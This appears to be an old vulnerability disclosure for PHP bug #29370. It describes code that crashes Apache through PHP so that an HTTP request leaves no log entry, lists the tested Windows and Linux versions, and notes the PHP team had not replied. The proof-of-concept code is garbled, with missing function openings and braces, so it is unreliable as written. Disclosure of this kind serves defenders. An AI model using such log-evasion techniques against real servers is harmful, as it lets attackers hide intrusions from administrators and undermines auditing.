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How to hide a HTTP request in the apache logs
[PHP Bug] How to hide a HTTP request in the apache logs

Author: Debhian ( anthony.debhian -AT- )

PHP Bug #29370


 With a certain code, PHP causes a segfault in Apache and the request is not logged.

 This bug (under Windows) causes an error fatal of apache BUT the server is not stopped with this code.

 The bug seems to work on all config (php4 / php5 && windows / unix)


Tested system:

 Windows / Apache 1.3.31 / PHP 5.0.0

 Windows / Apache 1.3.27 / PHP 4.3.3

 Linux / Apache 1.3.24 / PHP 4.2.1

Proof of concept:

 $value) { if(is_array($array[$key])) { $src.=$key; } }

  return $src;


 function funcfunc2($array,$test)


  foreach($array['test'] as $key=>$value) { }

  return $array;








 The php team has not answered the posted bug yet.

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